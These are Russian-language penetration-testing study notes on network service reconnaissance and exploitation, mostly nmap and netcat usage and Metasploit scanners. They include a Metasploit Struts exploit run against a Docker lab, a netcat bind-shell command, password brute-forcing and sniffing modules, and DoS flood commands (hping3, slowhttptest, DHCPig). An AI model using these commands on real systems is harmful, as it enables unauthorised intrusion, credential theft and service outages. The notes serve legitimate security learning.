Уязвимости сетевых сервисов Общая информация Определения Фреймворк эксплуатации — платформа для создания и отладки эксплойтов. Кроме того, включает в себя базу опкодов, архив шеллкодов и информацию по исследованиям информационной безопасности. Уязвимость нулевого дня — термин, обозначающий неустранённые уязвимости. Шелл-код — двоичный исполняемый код, передающий управление консоли (/bin/sh, cmd.exe). Шелл-код может быть использован как полезная нагрузка эксплойта, обеспечивающая доступ к консоли. Опкод — код, представляющий операцию или команду, выполняемую процессором компьютера. Он является непосредственной инструкцией для выполнения определенного действия, такого как сложение, умножение, сравнение и т.д. Типовые проблемы сетевых сервисов: Проблемы конфигурации Слабые пароли Неиспользование шифрования Известные уязвимости Этапы анализа сервисов: Поиск существующих сервисов Получение версий сервисов Поиск уязвимостей и эксплойтов для них Попытки использования эксплойтов Поиск эксплойта Популярные фреймворки эксплуатации:  Metasploit Framework (Free):  https://www.metasploit.com/  CobaltStrike ($$$):  https://www.cobaltstrike.com/  Exploit Pack ($$$):  http://exploitpack.com/  Core Impact Pro ($$$):  https://www.coresecurity.com/products/core-impact Если есть эксплоит, то: разобраться в принципах его работы, изучить код эксплойта, прежде чем запускать его, донастроить\дописать эксплоит под свою задачу отладить его на своем локальном стенде применить эксплоит Попытка использования эксплоита Обязательно должна быть уверенность в: что будет делать эксплоит, как и почему это сработает; эксплоит не нарушит работоспособности системы и не изменит ее состояние существенно; эксплоит не содержит закладок и “логических бомб”, которые могут быть спрятаны туда злоумышленником; после выполнения эксплойта вам не придется применять его второй раз (подготовьтесь к закреплению доступа, убедитесь что вы решаете задачу за наименьшее число шагов) Доп. информация Практика: https://www.revshells.com/ Платформа для самостоятельного решения задач и практик  (раздел, посвященный метасплоит) Знакомство с метасплоит и документация Краткий курс об особенностях и деталях метасплоит от разработчиков Практика сборки и исследования уязвимых стендов Задачи на эксплуатацию уязвимостей разного рода, в т.ч. с применение готовых эксплойтов Теория: Nmap гайд CheatSheets: Nmap все команды и флаги на 2023 г. Хакерские инструменты: Тестовый стенд docker run -it --rm -p 1337:8080 --name struts --ulimit nofile=65535:65535 piesecurity/apache-struts2-cve-2017-5638 Пример атаки: nmap -Pn -p- -sV 192.168.1.199 msfconsole search struts showcase use exploit/multi/http/struts2_code_exec_showcase info options set RHOSTS 192.168.1.199 set RPORT 1337 set TARGETURI /integration/saveGangster.action set PAYLOAD cmd/unix/generic set CMD 'cat /flag' check exploit   Версия сервиса и ОС Определение сервиса на порту Анализ баннера У нас есть открытые порты. Но необходимо узнать, что за сервис крутится на нем. Часто сервисы публикуют т н баннер - информацию о себе. Есть сервисы, хранящие данные о сайтах, типа  https://shodan.io https://zoomeye.org которые хранят базу данных. Это называется пассивным сканированием.  Естественно администраторы могут изменять баннер. Netcat может предоставить данную информацию.  nc 172.16.10.11 -v 21 172.16.10.11: inverse host lookup failed: Unknown host (UNKNOWN) [172.16.10.11] 21 (ftp) open 220 (vsFTPd 3.0.5) nc 1.1.1.1 -v 22 some.address.ru [1.1.1.1] 22 (ssh) open SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.13 Ключи nc: Флаг Значение Пример -l Слушать (listen) — запускает nc в режиме сервера (ожидание входящих подключений) nc -l -p 4444 -p <порт> Указать порт (для прослушивания или исходного подключения) nc -l -p 4444 -v Подробный режим (verbose), показывает процесс соединения nc -vz 8.8.8.8 53 -vv Очень подробный (ещё больше информации) nc -zvv 8.8.8.8 53 -z Сканирование портов (zero-I/O mode: проверка доступности портов без передачи данных) nc -zv 192.168.0.1 20-80 -u Использовать UDP вместо TCP nc -u 192.168.0.10 123 -n Не использовать DNS (работать только с IP, не пытаться резолвить имена) nc -vz -n 192.168.0.1 80 -w <сек> Таймаут соединения nc -vz -w 3 8.8.8.8 53 -q <сек> Закрыть соединение после EOF через указанное время `echo hi -k Продолжать слушать после разрыва соединения (серверный режим) nc -lk -p 4444 -e <программа> Запуск программы после подключения (опасный флаг!, часто отключён в безопасных сборках nc ) nc -l -p 4444 -e /bin/bash Сбор информации о баннере:  #!/bin/bash FILE="$1" PORT="$2" while read -r ip; do res=$(echo -e "\n" | nc -v "${ip}" -w 1 "${PORT}" 2> /dev/null) if [[ -n "${res}" ]]; then echo "Service: ${ip}:${PORT}" echo "Banner: ${res}" fi done < "${FILE}" Анализ http ответа сервера При помощи curl с помощью метода head можно получить информацию об http сервере.  curl --head 172.16.10.10:8081 HTTP/1.1 200 OK Server: Werkzeug/3.0.1 Python/3.12.3 Date: Sat, 30 Aug 2025 08:41:02 GMT Content-Type: text/html; charset=utf-8 Content-Length: 7176 Connection: close Приложение whatweb предоставляет расширенную информацию об http сервере. Синтаксис: whatweb 172.16.10.10:8081 http://172.16.10.10:8081 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/3.0.1 Python/3.12.3], IP[172.16.10.10], Python[3.12.3], Title[Menu], Werkzeug[3.0.1], X-UA-Compatible[ie=edge] whatweb 172.16.10.10:8081 --log-json=/dev/stdout --quiet | jq # в формате JSON Т е скомбинировав данные, полученные после сканирования, можно определить некоторые стартовые позиции. При определении версии сервиса бывает неточным. Дополнительные способы определения версии: Подсчет контрольных сумм статичных файлов, для сравнения их с файлами определенной версии (favicon, js код, изображения) Исследование изменений в коде и изучение патчей, которые видны из кода веб страниц, сравнение их с версиями кода в репозиториях Поиск функций отладки или специальных страниц, раскрывающих информацию о ПО Также есть базы знаний и инструменты: База знаний Common Vulnerabilities and Exposures -  https://cve.mitre.org/ Платформа Vulners -  https://vulners.com/ База данных эксплойтов от Offensive Security -  https://www.exploit-db.com/ Платформа управления уязвимостями и анализа угроз -  https://vuldb.com/ Также могут помочь поисковые движки (google.com), публичные репозитории (github.com), блоги разработчиков ПО, китайский сегмент интернета, и пр. Получение информации об операционной системе Способ формирования TCP ответа несколько отличаются для разных ОС. Можно определить примерный тип ОС и иногда версию ядра. Опция -O позволяет проанализировать данную информацию.  sudo nmap -O -iL 172-16-10-scanning-hosts.txt Nmap scan report for 172.16.10.11 Host is up (0.000038s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 80/tcp open http MAC Address: F6:F2:1D:05:71:02 (Unknown) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4) Network Distance: 1 hop Получение данных:  #!/bin/bash HOSTS="$*" if [[ "${EUID}" -ne 0 ]]; then echo "Run script with sudo." exit 1 fi if [[ "$#" -eq 0 ]]; then echo 'Need at least one IP' exit 1 fi nmap_scan=$(sudo nmap -O ${HOSTS} -oG -) while read -r line; do ip=$(echo "${line}" | awk '{print $2}') os=$(echo "${line}" | awk -F'OS: ' '{print $2}' | sed 's/Seq.*//g') if [[ -n "${ip}" ]] && [[ -n "${os}" ]]; then echo "IP: ${ip} OS: ${os}" fi done <<< "${nmap_scan}" Также можно проанализировать версию, обратившись к 445 порту (Windows, Linux). msf > use auxiliary/scanner/smb/smb_version msf auxiliary(smb_version) > set RHOSTS 192.168.1.200-210 RHOSTS => 192.168.1.200-210 msf auxiliary(smb_version) > set THREADS 11 THREADS => 11 msf auxiliary(smb_version) > run В случае подключенной базы, информация будет в hosts. Скрытое сканирование При помощи модуля auxiliary/scanner/ip/ipidseq можно найти машины со старой уязвимостью в нумеровании TCP пакетов, и затем использовать их как зомби.  msf > use auxiliary/scanner/ip/ipidseq msf auxiliary(ipidseq) > show options Module options (auxiliary/scanner/ip/ipidseq): Name Current Setting Required Description ---- --------------- -------- ----------- INTERFACE no The name of the interface RHOSTS yes The target address range or CIDR identifier RPORT 80 yes The target port SNAPLEN 65535 yes The number of bytes to capture THREADS 1 yes The number of concurrent threads TIMEOUT 500 yes The reply read timeout in milliseconds msf auxiliary(ipidseq) > set RHOSTS 192.168.1.0/24 RHOSTS => 192.168.1.0/24 msf auxiliary(ipidseq) > set THREADS 50 THREADS => 50 msf auxiliary(ipidseq) > run [*] 192.168.1.1's IPID sequence class: All zeros [*] 192.168.1.2's IPID sequence class: Incremental! [*] 192.168.1.10's IPID sequence class: Incremental! [*] 192.168.1.144's IPID sequence class: Incremental! Incremental означает возможность использования. Сканируем от имени зомбарей: msf auxiliary(ipidseq) > nmap -Pn -sI 192.168.1.109 192.168.1.114 [*] exec: nmap -Pn -sI 192.168.1.109 192.168.1.114 Starting Nmap 5.00 ( http://nmap.org ) at 2009-08-14 05:51 MDT Idle scan using zombie 192.168.1.109 (192.168.1.109:80); Class: Incremental Interesting ports on 192.168.1.114: Not shown: 996 closed|filtered ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3389/tcp open ms-term-serv MAC Address: 00:0C:29:41:F2:E8 (VMware) Nmap done: 1 IP address (1 host up) scanned in 5.56 seconds Определение MSSQL В metasploit много сканеров на различные сервисы, список  use auxiliary/scanner/   NMAP Open source приложение для сканирования сети. Общие флаги nmap -e eth2 scanme.nmap.org Конкретный интерфейс nmap -A Агрессивный режим (объединение режимов определения версии ОС, версий сервисов, скрипт сканирования, трассировки) -n отключить обратное разрешение IP в DNS --data-length Добавка случайных байтов информации к каждому пакету nmap -iL targets.txt Запуск с источниками из файла. Могут разделяться пробелом, табуляцией или переводом строки. Поддерживает диапазоны 192.168.1.20-30 192.168.* 192.168.0/24 scanme.nmap.org/24  комментарии cat targets.txt # FTP servers 192.168.10.3 nmap 192.168.1.1-255 --exclude 192.168.1.1 Исключение из диапазона nmap --exclude-file dontscan.txt 192.168.1.1/24 Исключение адресов из файла --randomize-hosts перемешивание последовательности узлов nmap -iR 100 100 случайных адресов -iR 0 это все адреса. http-max-cache-size=0 Отключение кэша (по умолчанию включен) -sL имя сетевого узла Таймауты --max-rtt-timeout Максимальное время ожидания ответа. По умолчанию несколько секунд. sudo nmap -sU --max-rtt-timeout 100ms host.ru  --host-timeout  Ограничение времени сканирования всего хоста. sudo nmap -sU --host-timeout 5m host.ru  --max-retries  Максимальное количество повторных попыток. sudo nmap -sU --max-rtt-timeout 100ms --max-retries 0 host.ru -T4 Время задержки (ожидания) между запросами, 0 - очень много, 3 - по умолчанию, 5 - очень быстро Поиск хостов NMAP использует несколько техник пинга с использованием разных протоколов.  -PS/PA/PU/PY [portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports -PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes -PO [protocol    list]: IP protocol ping Номера протоколов поверх IP 1 ICMP 2 IGMP 4 IP-in-IP 6 TCP 17 UDP 132 SCTP Для остальных протоколов только будут установлены IP заголовки. Все техники по умолчанию отправляют пустые запросы.  Ключ Описание -sn Ping-сканирование сети.  nmap -sn 192.168.1.0/24 Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-08 09:02 +08 Nmap scan report for 192.168.1.1 Host is up (0.00044s latency). MAC Address: 00:18:E7:F3:65:EE (Cameo Communications) Отправляются разные пакеты в зависимости от привилегий пользователя. С опцией traceroute должен показывать дополнительные маршруты, но это не то же самое что traceroute.  У меня до всех тестовых адресов получился один шаг nmap -sn --traceroute microsoft.com Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-08 11:03 +08 Nmap scan report for microsoft.com (13.107.246.77) Host is up (0.00055s latency). Other addresses for microsoft.com (not scanned): 2603:1020:201:10::10f 2603:1010:3:3::5b 2603:1030:b:3::152 2603:1030:20e:3::23c 2603:1030:c02:8::14 TRACEROUTE (using port 80/tcp) HOP RTT ADDRESS 1 0.53 ms 13.107.246.77 Nmap done: 1 IP address (1 host up) scanned in 0.61 seconds   nmap -sn -PS TCP SYN сканирование. nmap -sn -PS 192.1.1/24 SYN пакет на 80 порт, если порт закрыт - приходит RST, если открыт - SYN/ACK. Потом отправляем RST пакет. Фаер может блокировать RST для закрытых сервисов, поэтому можно донастроить скан  nmap -sn -PS80,100-1000 Но SYN пакеты могут блокироваться, поэтому следующий способ   nmap -sn -PA TCP ACK сканирование. Пустой TCP-пакет с флагом ACK, на порт 80 (по умолчанию). Если хост отключен, он не должен отвечать на этот запрос. Иначе RST и будет считаться подключенным к сети.  nmap -sn -PA22,1000-65535 nmap -sn -PU UDP сканирование. Порт 40125. Аналогично настройка портов  nmap -sn -PE Стандартное Echo сканирование. nmap -sn -PP Echo timestamp сканирование. nmap -sn -PM Echo reply сканирование. nmap -sn -PY SCTP INIT сканирование. Аналогичная настройка портов. nmap -sn -PO IP сканирование.  nmap -sn -PO1,2,17 scanme.nmap.org Здесь 1, 2, 17 - номера протоколов nmap -sn -PO --data-length 100 scanme.nmap.org --data-length 100 генерация случайных данных nmap -sn -PR ARP ping nmap -sn -PR --spoof-mac Подмена MAC-адреса может позволить нам подделать источник наших подключений и может быть полезна для обхода систем идентификации. MAC-адрес можно подделать во время проверки ARP-связи.  Используйте --spoof-mac для установки нового MAC-адреса: -sn --script dns-brute bobrobotirk.ru Брутфорс по доменным именам -sW Похож на ACK, определяет статус порта анализируя поле TCP Window в RST ответе. Открытые больше 0, закрытые - 0. -sI Сканирование от лица другого узла. Старые системы увеличивают IP-ID на 1 с каждым новым исходящим пакетом. Это ключевая уязвимость.  Хост должен мало использоваться и иметь предсказуемый IP-ID. Процесс сканирования одного порта: Запрос "зомби" (например, SYN-пакет), сохраняется IP-ID ответа (например X) Отправка пакета от имени "зомби" на целевой порт сканируемой машины. Если порт открыт, цель ответит "зомби" пакетом SYN/ACK. Если порт закрыт, цель ответит "зомби" пакетом RST. Повторный запрос "зомби" и анализ нового значения IP-ID. X+1 означает, что "зомби" не отправил ни одного своего пакета. Следовательно, порт на цели фильтруется (брандмауэр молча отбросил пакет). X+2 означает, что "зомби" получил от цели ответный пакет и ответил на него своим RST. Вывод: порт на цели открыт или закрыт. Чтобы отличить открытый порт от закрытого, сканер анализирует, на какой именно пакет отреагировал "зомби". Причины использования: анонимность и обход правил фильтрации (если "зомби"  доверенный)  sudo nmap -sI zombie.example.com target.example.com Поиск зомби: Скрипт ipidseq.  sudo nmap -sS -p 80 --script ipidseq По умолчанию 6 пакетов. Параметр --script-args ipidseq.probes=10 улучшает качество проверки. Результат: Incremental! Подходит. IP-ID увеличивается на постоянную величину. All zeros или Constant Не подходит. В поле IP-ID всегда ноль/константа. В некоторых старых системах или специфичном сетевом оборудовании. Random Не подходит. Broken incremental! Увеличивается на непостоянную величину (например, +1, +2, +1, +3). Не подходит./подождать, может успокоится. Проверил роутеры DIR-650 и ASUS RT-N18U. На первом Incremental, на втором - All zeros. Пакеты, идущие сквозь, не влияют. При сканировании на целевом хосте в качестве порта источника видится http или https порт зомби. -sn --script broadcast-ping 192.168.0.1/24 Броадкастовый пинг. Отправляется броадкастовый запрос и ждем результат.  broadcast-ping.num_probes=5 количество пингов nmap --script broadcast-ping --script-args broadcast-ping.num_probes=5 broadcast-ping.timeout=10000 таймаут broadcast-ping.interface=wlan3 интерфейс --script-args=newtargets позволяет просканировать хосты, от которых получен ответ --script-args max-newtargets=3 ограничивает кол-во сканируемых хостов nmap --script broadcast Запускает все скрипты категории broadcast Можно комбинировать технологии  nmap -sn --send-ip -PS21,22,23,25,80,445,443,3389,8080 -PA80,443,8080 -PO1,2,4,6 -PU631,16 Эффективность технологий сканирования ( оригинал ) Интересная статья. Проба эффективности различных комбинаций технологий на основании 1000 случайных сетей. Был сформирован список и приведены результаты различных технологий и комбинаций с процентом результативности. 100% результат - найденные любой технологией хосты. А затем - поиск комбинации технологий с наибольшим процентом попадания и времени на каждую вариацию. Вывод, который я для себя сделал на основе данных:  Стартовый поиск адресов и портов важная процедура. Однако только один из компонентов. Психология и поставленные задачи критичны. Направленные и ненаправленные взломы происходят по разным алгоритмам. Ненаправленные взломы были, есть и будут. Оно дает шум в логах, за которым может прятаться направленный хакер. Время жизни важно. Сервис "на месяц" отличается от "на год". Одна технология дает в лучшем случае 50-60% результат. Однако непопулярные технологии могут показать защищенные от явного сканирования хосты, хотя не справиться с простыми. Поэтому либо тьма времени + высокая вероятность обнаружения, либо результат в 70-80 процентов.  Эти данные масштабного сканирования. Эффективность от затраченного времени растет нелинейно. В районе 90% каждый дополнительный процент стоит дней. В случае направленного теста каждый фактор, предоставляющий дополнительную информацию (например ОС, возможные сервисы, ожидаемая степень защиты) увеличивает шансы и скорость. Возможно, нужен некий справочник/сервис, агрегирующий данные по удачным вариантам в зависимости от дополнительных условий. Нестандартные порты рулят, но их нужно правильно прятать. Это ограничивает ненаправленных хакеров. Логирование + проактивная защита как минимум поможет увидеть попытки. Однако необходим баланс между стоимостью защиты (фильтрации) и ценностью информации Тупое сканирование будет незаметно только в системах с отсутствием защиты. Данные 2009 года, сейчас рулят облака и ситуация думаю слегка поменялась. Возможно общедоступные сервисы стоит выносить в отдельный пул  Открытые порты Без параметров, только адрес. По умолчанию сканирует 1024 первых порта. Статусы портов: Open Сервис доступен Closed Запросы были получены, но был сделан вывод, что на этом порту не запущена служба. Filtered Не было признаков того, что запросы были получены, и состояние не удалось установить.  Это также указывает на то, что запросы отбрасываются в результате какой-либо фильтрации. Unfiltered Запросы были получены, но состояние не удалось установить. Это состояние возможно только при ACK сканировании. Open/Filtered Запросы отфильтрованы или порт открыт, но не удалось установить состояние. Close/Filtered Запросы отфильтрованы или порт закрыт, и не удалось установить состояние. Последовательность задач при сканировании портов: Преобразование DNS имени в IP. Можно указать альтернативный dns сервер. nmap --dns-servers 8.8.8.8,8.8.4.4 scanme.nmap.org Проверка, поднят ли хост. Чтобы пропустить: nmap -Pn scanme.nmap.org Обратное преобразование IP в DNS. Чтобы пропустить: nmap -n scanme.nmap.org Затем SYN (привилегированный пользователь) или TCP connect (обычный пользователь) сканирование. SYN быстрее. Однако есть еще способы сканирования портов. Диапазоны портов: --top-ports N Заданное количество портов по рейтингу популярности. nmap -p80,443 localhost Явный список портов nmap -p1-100 localhost Диапазон nmap -p- localhost Все порты nmap -pT:25,U:53 Порты с протоколом nmap -p smtp По имени сервиса nmap -p smtp* По шаблону имени сервиса nmap -p[1-65535] Только порты, указанные в nmap в виде сервиса Определение типа сервиса и версии За счет базы данных "отпечатков" сервисов и ОС. Отправляются пробники, определенные в nmap-service-probes, в список предполагаемых открытых портов. Пробники выбираются в зависимости от того, насколько вероятно, что они могут быть использованы для идентификации службы. nmap -sV Версии сервисов nmap -sV --version-intensity 9 Уровень интенсивности поиска, 0-9 nmap -O Версия ОС. В привилегированном режиме. nmap -O --osscan-guess Попытка угадать ОС nmap -O --osscan-limit Вывод информации об ОС только а случае абсолютной уверенности nmap -O -v 192.168.0.1 Расширенная информация об ОС "Отпечатки" могут настраиваться для улучшения производительности.  Дополнительные утилиты nping модификация ping пакетов. Мощный инструмент для тестирования фаерволов. --icmp тип пакета -c 1 количество пакетов --icmp-type 0 --icmp-code 0 тип и код пакета --source-ip 192.168.0.5 --dest-ip 192.168.0.10 источник и приемник --icmp-id 520 идентификатор --icmp-seq 0 номер пакета --data-string 'ping' данные внутри Zenmap графическая утилита, удобно хранить настройки параметров nmap ncat Выполнение внешних команд различными способами после успешного установления соединения. Одним из способов является использование Lua-скриптов, которые действуют как программы и позволяют пользователям выполнять любые задачи. ncat --lua-exec --listen 80 --sh-exec выполняет консольные команды Ncrack взлом простых паролей <[service-name]>://:<[port-number]> ncrack ssh://: -U файлы логинов -P файлы паролей ncrack --save cracking-session <[service-name]>://:<[port-number]> сохранить незавершенный процесс ncrack --resume cracking-session <[service-name]>://:<[port-number]> продолжить Rainmap Lite запуск сканирования из браузера NMAP Script Engine (NSE) Расширение функционала за счет LUA скриптов. Запуск всех скриптов в соответствии с правилами внутри:  nmap -sC Размещение скриптов /usr/share/nmap/scripts Можно вывести названия скриптов командой  ls /usr/share/nmap/scripts/ Типы скриптов Количество выполняемых скриптов зависит от правил хоста или порта для этих скриптов.  auth Скрипты, связанные с авторизацией пользователя broadcast Широковещательные запросы brute Брутфорс паролей default Скрипты, выполняемые по умолчанию discovery Поиск хостов и сервисов dos Атака dos exploit Скрипты, использующие уязвимости для атаки external Зависящие от каких-либо сервисов fuzzer Генераторы случайных последовательностей intrusive Могут уронить или сгенерировать большой сетевой трафик malware Скрипты, связанные с обнаружением вредоносных программ safe Безопасные version Определение версий vuln Скрипты, связанные   с уязвимостями в системе безопасности Некоторые скрипты требуют настройки. nmap --script script_name запуск определенного скрипта. Имя скрипта или путь к папке с расширениями nmap --script http-title --script-args http.useragent="Mozilla 999" --script-args настраивает параметры скрипта nmap -sV --script vuln nmap -sV --script="version,discovery" Определенная категория nmap -sV --script "not exploit" Исключая категорию nmap -sV --script "(http-*) and not(http-slowloris or http-brute)" Трассировка выполнения скрипта nmap -sC --script-trace Простая трассировка -d[1-9] Увеличение уровня выводимых сообщений Добавление нового скрипта: скопировать скрипт в /scripts в директории установки nmap обновить базу nmap --script-updatedb Либо указать путь напрямую  nmap --script /root/loot/nonofficial.nse Библиотека скриптов вне основной поставки Скрипты в поставке Броадкастовые скрипты broadcast-avahi-dos Ищет хосты через DNS service discovery protocol и отправляет NULL UDP пакеты каждому найденному для проверки возможности DOS broadcast-db2-discover Ищет DB2 серверы через запрос на 523/udp broadcast-dhcp-discover Поиск DHCP сервера с использованием статического адреса DE:AD:CO:DE:CA:FE broadcast-dns-service-discovery Поиск DNS серверов через DNS-SD запросы broadcast-dropbox-listener Прослушивает сеть и ждет бродкастов от dropbox клиентов (раз в 20 секунд запросы) broadcast-listener Прослушивает сеть и ждет бродкасты. Пытается разобрать и вытащить данные. broadcast-ms-sql-discover Поиск Microsoft SQL серверов broadcast-novell-locate Поиск NCP серверов broadcast-ping Бродкастовый пинг с выводом IP и MAC Нужны привилегии. broadcast-netbios-master-browser Поиск NetBios доменов broadcast-rip-discover Отправляет RIPv2 запросы и определяет хосты на которых это крутится broadcast-upnp-info Поиск UPnP хостов broadcast-wsdd-discover Поиск хостов с поддержкой WS-Discovery протокола. Также определяет WCF (.NET 4.0+). lltd-discovery Использует Microsoft LLTD протокол для поиска хостов targets-sniffer Слушает сеть 10 секунд и выводит найденные адреса SMB VNC SMTP Samba Есть модуль  auxiliary/scanner/smb/smb_login Позволяет перебирать пароли для подсети. Можно перебирать один пароль или все пароли из таблицы creds. VNC scanner Позволяет искать VNC серверы без авторизации в подсети.  auxiliary/scanner/vnc/vnc_none_auth SMTP Модуль auxiliary/scanner/smtp/smtp_enum проверяет версию сервера и пытается использовать список логинов и паролей для авторизации. SSH auxiliary/scanner/ssh/ssh_enumusers берет список имен пользователей и проверяет, есть ли такие пользователи. Низкая вероятность корректной работы. ssh_version  detect_kippo Определяет, является ли это настоящим ssh сервером или сервисом поиска нарушителей.  RDP Проверка на уязвимость use auxiliary/scanner/rdp/ms12_020_check Прослушивание паролей msf > use auxiliary/sniffer/psnuffle msf auxiliary(psnuffle) > run Работает из коробки, без доп. настроек. Пассивное ожидание паролей. DOS DOS общего назначения sudo hping3 --flood -S -p 80 192.168.86.1 -S SYN пакет Скорость генерации пакетов -i  --interval       --fast псевдоним -i u10000       --faster псевдоним -i u1000       --flood ожидание (uX это X микросекунд, -i u1000). flood максимально возможная скорость генерации пакетов. Целевая система [IP] или [HOST] -p [PORT] --rand-source генерится случайный источник LAND атака: sudo hping3 -S -p 80 192.168.1.1 -a 192.168.1.1 inviteflood DOS VoIP протокола sudo inviteflood eth0 kilroy dummy.com 192.168.86.238 150000 t50  192.168.1.1 --protocol IGMPv1 --flood -B DOS web сервера Slowloris: удержание большого количества открытых соединений с веб-сервером. Вместо переполнения инструмент атаки поддерживает соединение с сервером открытым, отправляя небольшие объемы данных на протяжении длительного времени.  Apache Killer: отправка байтов в виде перекрывающихся фрагментов. В ходе безуспешных попыток собрать эти фрагменты воедино веб-сервер исчерпывает всю доступную память.  slowhttptest реализовывает четыре HTTP-атаки: Slowloris (илиSlow Headers), атаку R-U-Dead-Yet (или Slow Body), атаку Apache Killer (или атака с помощью заголовка Range) и атаку Slow Read.  slowhttptest -H -u http://192.168.1.15 Атаки на DHCP Протокол DHCP предусматривает тестовую программу под названием DHCPig, которая представляет собой еще одну атаку, направленную на исчерпание ресурсов DHCP-сервера. На практике атака может использоваться для получения контроля над сетевым трафиком. В ходе этой атаки злоумышленник расходует весь пул доступных IP-адресов и в то же время запускает собственный DHCP-сервер, который может перенаправлять трафик системы на контролируемый им же DNS-сервер.  sudo dhcpig -l eth0 Scapy  Интересный пакет для генерации пакетов. Можно как генерировать сырые пакеты, так и подгружать слои настройки и настраивать отдельно.